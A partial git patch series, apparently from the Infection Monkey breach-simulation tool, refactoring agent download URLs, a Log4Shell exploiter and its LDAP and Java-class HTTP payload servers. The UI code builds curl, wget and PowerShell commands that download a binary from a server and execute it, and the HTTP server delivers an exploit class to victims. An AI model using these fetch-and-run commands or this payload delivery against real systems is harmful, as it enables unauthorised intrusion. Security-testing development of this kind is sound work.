+            "Checking for the stop signal from the island every "
+            f"{CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC} seconds."
+        )
         timer = Timer()
         timer.set(CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC)
 
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 868972ad2..261ed16ff 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -53,6 +53,7 @@ from infection_monkey.utils.monkey_log_path import get_monkey_log_path
 from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
 
 logger = logging.getLogger(__name__)
+logging.getLogger("urllib3").setLevel(logging.INFO)
 
 
 class InfectionMonkey:

From b20abad0b6bdc574cbe40c005fa46a5cf8df5ec0 Mon Sep 17 00:00:00 2001
From: vakarisz <vakarisz@yahoo.com>
Date: Thu, 3 Mar 2022 17:42:10 +0200
Subject: [PATCH 13/25] Island: change manual run commands to target /os
 download endpoints

Now monkey agents are downloaded not by name, but by os, so url's had to change
---
 .../components/pages/RunMonkeyPage/commands/local_linux_curl.js | 2 +-
 .../components/pages/RunMonkeyPage/commands/local_linux_wget.js | 2 +-
 .../pages/RunMonkeyPage/commands/local_windows_powershell.js    | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js
index ceaeab393..6daf29f18 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js
@@ -1,5 +1,5 @@
 export default function generateLocalLinuxCurl(ip, username) {
-  let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k `
+  let command = `curl https://${ip}:5000/api/monkey/download/linux -k `
     + `-o monkey-linux-64; `
     + `chmod +x monkey-linux-64; `
     + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js
index 0540540e7..9e67681d1 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js
@@ -1,6 +1,6 @@
 export default function generateLocalLinuxWget(ip, username) {
   let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
-    + `monkey-linux-64; `
+    + `linux; `
     + `chmod +x monkey-linux-64; `
     + `./monkey-linux-64 m0nk3y -s ${ip}:5000`;
 
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
index de5346f30..ea068dfb5 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js
@@ -1,7 +1,7 @@
 function getAgentDownloadCommand(ip) {
   return `$execCmd = @"\r\n`
     + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
-    + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',`
+    + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/windows',`
     + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
     + `\r\n"@; \r\n`
     + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;

From d3c75200fdcce0cce18b87959cbd448757f39cb5 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 11:31:11 -0500
Subject: [PATCH 14/25] Agent: Remove SystemInfoCollector references from
 dropper.py

---
 monkey/infection_monkey/dropper.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index b42bc3414..90d6712d5 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -18,6 +18,7 @@ from infection_monkey.utils.commands import (
     get_monkey_commandline_linux,
     get_monkey_commandline_windows,
 )
+from infection_monkey.utils.environment import is_windows_os
 
 if "win32" == sys.platform:
     from win32process import DETACHED_PROCESS
@@ -140,7 +141,7 @@ class MonkeyDrops(object):
             location=None,
         )
 
-        if OperatingSystem.Windows == SystemInfoCollector.get_os():
+        if is_windows_os():
             monkey_commandline = get_monkey_commandline_windows(
                 self._config["destination_path"], monkey_options
             )

From 928192b9b0315db3b7cdfd918abc285ae569ff07 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 13:48:00 -0500
Subject: [PATCH 15/25] Agent: Add helpful debug logging to log4shell exploiter

---
 monkey/infection_monkey/exploit/log4shell.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index bfc0b4b46..d6c6ec198 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -138,6 +138,10 @@ class Log4ShellExploiter(WebRCE):
         # because we don't know which services are running and on which ports
         for exploit in get_log4shell_service_exploiters():
             for port in self._open_ports:
+                logger.debug(
+                    f'Attempting Log4Shell exploit on for service "{exploit.service_name}"'
+                    f"on port {port}"
+                )
                 try:
                     url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
                 except Exception as ex:
@@ -175,6 +179,7 @@ class Log4ShellExploiter(WebRCE):
 
             time.sleep(1)
 
+        logger.debug("Timed out while waiting for victim to download the java bytecode")
         return False
 
     def _wait_for_victim_to_download_agent(self):

From 515edf265a92dd1378bc78acae6410fae839f649 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 13:48:18 -0500
Subject: [PATCH 16/25] Island: Add helpful logging to MonkeyDownload resource

---
 monkey/monkey_island/cc/resources/monkey_download.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py
index 99943aedb..a5750769f 100644
--- a/monkey/monkey_island/cc/resources/monkey_download.py
+++ b/monkey/monkey_island/cc/resources/monkey_download.py
@@ -51,7 +51,9 @@ class MonkeyDownload(flask_restful.Resource):
 def get_agent_executable_path(host_os: str) -> Path:
     try:
         agent_path = get_executable_full_path(AGENTS[host_os])
-        logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
+        logger.debug(f'Local path for {host_os} executable is "{agent_path}"')
+        if not agent_path.is_file():
+            logger.error(f"File {agent_path} not found")
 
         return agent_path
     except KeyError:

From 93415cf2c878ed2f02ad397d1b410aec1cd41cb0 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 14:40:41 -0500
Subject: [PATCH 17/25] Agent: Add TODO to Log4ShellExploiter

---
 monkey/infection_monkey/exploit/log4shell.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
index d6c6ec198..146f4c16a 100644
--- a/monkey/infection_monkey/exploit/log4shell.py
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -160,6 +160,8 @@ class Log4ShellExploiter(WebRCE):
                     self.exploit_result.propagation_success = True
 
     def _wait_for_victim(self) -> bool:
+        # TODO: Peridodically check to see if ldap or HTTP servers have exited with an error. If
+        #       they have, return with an error.
         victim_called_back = False
 
         victim_called_back = self._wait_for_victim_to_download_java_bytecode()

From df495f98c72f3c7fe6838b64ffcfd86ae5d6283e Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Thu, 3 Mar 2022 14:49:39 -0500
Subject: [PATCH 18/25] Agent: Fix twisted import parallelization bug

---
 .../exploit/log4shell_utils/ldap_server.py    | 45 +++++++++++++------
 1 file changed, 31 insertions(+), 14 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py
index 0b29fd4cf..52ba2edbb 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py
@@ -6,14 +6,16 @@ import threading
 import time
 from pathlib import Path
 
-from ldaptor.interfaces import IConnectedLDAPEntry
-from ldaptor.ldiftree import LDIFTreeEntry
 from ldaptor.protocols.ldap.ldapserver import LDAPServer
-from twisted.application import service
-from twisted.internet import reactor
 from twisted.internet.protocol import ServerFactory
-from twisted.python import log
-from twisted.python.components import registerAdapter
+
+# WARNING: It was observed that this LDAP server would raise an exception and fail to start if
+#          multiple Python threads attempt to start multiple LDAP servers simultaneously. It was
+#          thought that since each LDAP server is started in its own process, there would be no
+#          issue, however this is not the case. It seems that there may be something that is not
+#          thread- or multiprocess-safe about some of the twisted imports. Moving the twisted
+#          imports down into the functions where they are required and removing them from the top of
+#          this file appears to resolve the issue.
 
 logger = logging.getLogger(__name__)
 
@@ -32,6 +34,8 @@ class Tree:
     """
 
     def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path):
+        from ldaptor.ldiftree import LDIFTreeEntry
+
         self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir)
         self.db = LDIFTreeEntry(self.path)
 
@@ -91,14 +95,7 @@ class LDAPExploitServer:
         self._http_server_ip = http_server_ip
         self._http_server_port = http_server_port
         self._storage_dir = storage_dir
-
-        # A Twisted reactor can only be started and stopped once. It cannot be restarted after it
-        # has been stopped. To work around this, the reactor is configured and run in a separate
-        # process. This allows us to run multiple LDAP servers sequentially or simultaneously and
-        # stop each one when we're done with it.
-        self._server_process = multiprocessing.Process(
-            target=self._run_twisted_reactor, daemon=True
-        )
+        self._server_process = None
 
     def run(self):
         """
@@ -108,6 +105,15 @@ class LDAPExploitServer:
         :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
         """
         logger.info("Starting LDAP exploit server")
+
+        # A Twisted reactor can only be started and stopped once. It cannot be restarted after it
+        # has been stopped. To work around this, the reactor is configured and run in a separate
+        # process. This allows us to run multiple LDAP servers sequentially or simultaneously and
+        # stop each one when we're done with it.
+        self._server_process = multiprocessing.Process(
+            target=self._run_twisted_reactor, daemon=True
+        )
+
         self._server_process.start()
         reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
 
@@ -117,6 +123,8 @@ class LDAPExploitServer:
         logger.debug("The LDAP exploit server has successfully started")
 
     def _run_twisted_reactor(self):
+        from twisted.internet import reactor
+
         logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
         self._configure_twisted_reactor()
 
@@ -128,6 +136,8 @@ class LDAPExploitServer:
         reactor.run()
 
     def _check_if_reactor_startup_completed(self):
+        from twisted.internet import reactor
+
         check_interval_sec = 0.25
         num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
 
@@ -141,6 +151,11 @@ class LDAPExploitServer:
             time.sleep(check_interval_sec)
 
     def _configure_twisted_reactor(self):
+        from ldaptor.interfaces import IConnectedLDAPEntry
+        from twisted.application import service
+        from twisted.internet import reactor
+        from twisted.python.components import registerAdapter
+
         LDAPExploitServer._output_twisted_logs_to_python_logger()
 
         registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry)
@@ -155,6 +170,8 @@ class LDAPExploitServer:
 
     @staticmethod
     def _output_twisted_logs_to_python_logger():
+        from twisted.python import log
+
         # Configures Twisted to output its logs using the standard python logging module instead of
         # the Twisted logging module.
         # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html

From bf998f502113edcebf2e63d55191cad74552e3b9 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Fri, 4 Mar 2022 17:03:37 -0500
Subject: [PATCH 19/25] Agent: Fix HTTPHandler class name in
 ExploitClassHTTPServer

---
 .../exploit/log4shell_utils/exploit_class_http_server.py    | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 5fc6521bd..3e0cdd38d 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -28,7 +28,7 @@ def do_GET(self):
 
 def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event):
     return type(
-        "http_handler_class",
+        "HTTPHandler",
         (http.server.BaseHTTPRequestHandler,),
         {
             "java_class": java_class,
@@ -60,9 +60,9 @@ class ExploitClassHTTPServer:
         self._class_downloaded = threading.Event()
         self._poll_interval = poll_interval
 
-        http_handler_class = get_new_http_handler_class(java_class, self._class_downloaded)
+        HTTPHandler = get_new_http_handler_class(java_class, self._class_downloaded)
 
-        self._server = http.server.HTTPServer((ip, port), http_handler_class)
+        self._server = http.server.HTTPServer((ip, port), HTTPHandler)
         # Setting `daemon=True` to save ourselves some trouble when this is merged to the
         # agent-refactor branch.
         # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`

From efa0c5beb4ca4d8ea2e7fc4ea74fdb82a122d948 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Fri, 4 Mar 2022 17:05:35 -0500
Subject: [PATCH 20/25] Agent: Format HTTPFingerprinter with Black

---
 .../network_scanning/http_fingerprinter.py           | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py
index f5dcfac64..25e96d4a2 100644
--- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py
+++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py
@@ -25,11 +25,11 @@ class HTTPFingerprinter(IFingerprinter):
     """
 
     def get_host_fingerprint(
-            self,
-            host: str,
-            _: PingScanData,
-            port_scan_data: Dict[int, PortScanData],
-            options: Dict,
+        self,
+        host: str,
+        _: PingScanData,
+        port_scan_data: Dict[int, PortScanData],
+        options: Dict,
     ) -> FingerprintData:
         services = {}
         http_ports = set(options.get("http_ports", []))
@@ -85,7 +85,7 @@ def _get_http_headers(url: str) -> Optional[Dict[str, Any]]:
 
 
 def _get_open_http_ports(
-        allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData]
+    allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData]
 ) -> Iterable[int]:
     open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN)
     return (port for port in open_ports if port in allowed_http_ports)

From ca485bf569cfb6ddef053df65c59d9a3c473c86f Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Mon, 7 Mar 2022 03:59:47 -0500
Subject: [PATCH 21/25] Agent: Return temporary monkey_dir as Path instead of
 str

---
 .../infection_monkey/telemetry/attack/t1107_telem.py |  2 +-
 monkey/infection_monkey/utils/monkey_dir.py          | 12 ++++++++----
 .../telemetry/attack/test_t1107_telem.py             |  6 ++++++
 3 files changed, 15 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
index 816488f3b..c3667289b 100644
--- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py
+++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py
@@ -13,5 +13,5 @@ class T1107Telem(AttackTelem):
 
     def get_data(self):
         data = super(T1107Telem, self).get_data()
-        data.update({"path": self.path})
+        data.update({"path": str(self.path)})
         return data
diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
index 7f74f9158..14269c7b3 100644
--- a/monkey/infection_monkey/utils/monkey_dir.py
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -1,5 +1,6 @@
 import shutil
 import tempfile
+from pathlib import Path
 
 MONKEY_DIR_PREFIX = "monkey_dir_"
 _monkey_dir = None
@@ -7,13 +8,13 @@ _monkey_dir = None
 
 # TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or
 #       tempfile.mkftemp() if they need to.
-def create_monkey_dir():
+def create_monkey_dir() -> Path:
     """
     Creates directory for monkey and related files
     """
     global _monkey_dir
 
-    _monkey_dir = tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir())
+    _monkey_dir = Path(tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir()))
     return _monkey_dir
 
 
@@ -29,5 +30,8 @@ def remove_monkey_dir():
         return False
 
 
-def get_monkey_dir_path():
-    return _monkey_dir
+def get_monkey_dir_path() -> Path:
+    if _monkey_dir is None:
+        create_monkey_dir()
+
+    return _monkey_dir  # type: ignore
diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py
index bb1bf2088..7680191a5 100644
--- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py
@@ -1,4 +1,5 @@
 import json
+from pathlib import Path
 
 import pytest
 
@@ -20,3 +21,8 @@ def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry):
     expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder)
     assert spy_send_telemetry.data == expected_data
     assert spy_send_telemetry.telem_category == "attack"
+
+
+def test_T1107_send__path(spy_send_telemetry):
+    T1107Telem(STATUS, Path(PATH)).send()
+    assert json.loads(spy_send_telemetry.data)["path"] == PATH

From 3698a28e2655ff02645f45d8452dee6240196cbf Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Mon, 7 Mar 2022 04:02:04 -0500
Subject: [PATCH 22/25] Agent: Add return type annotation to
 remove_monkey_dir()

---
 monkey/infection_monkey/utils/monkey_dir.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py
index 14269c7b3..4639ec6bc 100644
--- a/monkey/infection_monkey/utils/monkey_dir.py
+++ b/monkey/infection_monkey/utils/monkey_dir.py
@@ -18,7 +18,7 @@ def create_monkey_dir() -> Path:
     return _monkey_dir
 
 
-def remove_monkey_dir():
+def remove_monkey_dir() -> bool:
     """
     Removes monkey's root directory
     :return True if removed without errors and False otherwise

From c4f971ff3358be852e713fa9c10de90149c055ad Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Mon, 7 Mar 2022 04:15:44 -0500
Subject: [PATCH 23/25] Agent: Add comment to _get_new_http_handler_class()

---
 .../log4shell_utils/exploit_class_http_server.py | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 3e0cdd38d..89eee7808 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -1,6 +1,7 @@
 import http.server
 import logging
 import threading
+from typing import Type
 
 logger = logging.getLogger(__name__)
 
@@ -26,7 +27,18 @@ def do_GET(self):
     self.wfile.write(self.java_class)
 
 
-def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event):
+def _get_new_http_handler_class(
+    java_class: bytes, class_downloaded: threading.Event
+) -> Type[http.server.BaseHTTPRequestHandler]:
+    """
+    Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the
+    caller.
+
+    Because Python's http.server.HTTPServer accepts a class and creates a new object to
+    handle each request it receives, any state that needs to be shared between requests must be
+    stored as class variables. Creating the request handler classes dynamically at runtime allows
+    multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
+    """
     return type(
         "HTTPHandler",
         (http.server.BaseHTTPRequestHandler,),
@@ -60,7 +72,7 @@ class ExploitClassHTTPServer:
         self._class_downloaded = threading.Event()
         self._poll_interval = poll_interval
 
-        HTTPHandler = get_new_http_handler_class(java_class, self._class_downloaded)
+        HTTPHandler = _get_new_http_handler_class(java_class, self._class_downloaded)
 
         self._server = http.server.HTTPServer((ip, port), HTTPHandler)
         # Setting `daemon=True` to save ourselves some trouble when this is merged to the

From 95be74ed813b4797087844f77e141a5e9852eecc Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Mon, 7 Mar 2022 04:18:34 -0500
Subject: [PATCH 24/25] Agent: Reorder exploit_class_http_server.py

---
 .../exploit_class_http_server.py              | 86 +++++++++----------
 1 file changed, 43 insertions(+), 43 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 89eee7808..6d864ca0c 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -8,49 +8,6 @@ logger = logging.getLogger(__name__)
 HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
 
 
-def do_GET(self):
-    with self.download_lock:
-        if self.class_downloaded.is_set():
-            self.send_error(
-                HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
-                "Java exploit class has already been downloaded",
-            )
-            return
-
-        self.class_downloaded.set()
-
-    logger.info("Java class server received a GET request!")
-    self.send_response(200)
-    self.send_header("Content-type", "application/octet-stream")
-    self.end_headers()
-    logger.info("Sending the payload class!")
-    self.wfile.write(self.java_class)
-
-
-def _get_new_http_handler_class(
-    java_class: bytes, class_downloaded: threading.Event
-) -> Type[http.server.BaseHTTPRequestHandler]:
-    """
-    Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the
-    caller.
-
-    Because Python's http.server.HTTPServer accepts a class and creates a new object to
-    handle each request it receives, any state that needs to be shared between requests must be
-    stored as class variables. Creating the request handler classes dynamically at runtime allows
-    multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
-    """
-    return type(
-        "HTTPHandler",
-        (http.server.BaseHTTPRequestHandler,),
-        {
-            "java_class": java_class,
-            "class_downloaded": class_downloaded,
-            "download_lock": threading.Lock(),
-            "do_GET": do_GET,
-        },
-    )
-
-
 class ExploitClassHTTPServer:
     """
     An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
@@ -126,3 +83,46 @@ class ExploitClassHTTPServer:
         :rtype: bool
         """
         return self._class_downloaded.is_set()
+
+
+def _get_new_http_handler_class(
+    java_class: bytes, class_downloaded: threading.Event
+) -> Type[http.server.BaseHTTPRequestHandler]:
+    """
+    Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the
+    caller.
+
+    Because Python's http.server.HTTPServer accepts a class and creates a new object to
+    handle each request it receives, any state that needs to be shared between requests must be
+    stored as class variables. Creating the request handler classes dynamically at runtime allows
+    multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
+    """
+    return type(
+        "HTTPHandler",
+        (http.server.BaseHTTPRequestHandler,),
+        {
+            "java_class": java_class,
+            "class_downloaded": class_downloaded,
+            "download_lock": threading.Lock(),
+            "do_GET": do_GET,
+        },
+    )
+
+
+def do_GET(self):
+    with self.download_lock:
+        if self.class_downloaded.is_set():
+            self.send_error(
+                HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
+                "Java exploit class has already been downloaded",
+            )
+            return
+
+        self.class_downloaded.set()
+
+    logger.info("Java class server received a GET request!")
+    self.send_response(200)
+    self.send_header("Content-type", "application/octet-stream")
+    self.end_headers()
+    logger.info("Sending the payload class!")
+    self.wfile.write(self.java_class)

From 0e01264bb65b3d44e151d8f415cdafe35693db51 Mon Sep 17 00:00:00 2001
From: Mike Salvatore <mike.s.salvatore@gmail.com>
Date: Mon, 7 Mar 2022 05:21:48 -0500
Subject: [PATCH 25/25] Agent: Make do_GET() and inner function of
 _get_new_http_handler_class

---
 .../exploit_class_http_server.py              | 38 +++++++++----------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 6d864ca0c..8667963b5 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -97,6 +97,25 @@ def _get_new_http_handler_class(
     stored as class variables. Creating the request handler classes dynamically at runtime allows
     multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
     """
+
+    def do_GET(self):
+        with self.download_lock:
+            if self.class_downloaded.is_set():
+                self.send_error(
+                    HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
+                    "Java exploit class has already been downloaded",
+                )
+                return
+
+            self.class_downloaded.set()
+
+        logger.info("Java class server received a GET request!")
+        self.send_response(200)
+        self.send_header("Content-type", "application/octet-stream")
+        self.end_headers()
+        logger.info("Sending the payload class!")
+        self.wfile.write(self.java_class)
+
     return type(
         "HTTPHandler",
         (http.server.BaseHTTPRequestHandler,),
@@ -107,22 +126,3 @@ def _get_new_http_handler_class(
             "do_GET": do_GET,
         },
     )
-
-
-def do_GET(self):
-    with self.download_lock:
-        if self.class_downloaded.is_set():
-            self.send_error(
-                HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
-                "Java exploit class has already been downloaded",
-            )
-            return
-
-        self.class_downloaded.set()
-
-    logger.info("Java class server received a GET request!")
-    self.send_response(200)
-    self.send_header("Content-type", "application/octet-stream")
-    self.end_headers()
-    logger.info("Sending the payload class!")
-    self.wfile.write(self.java_class)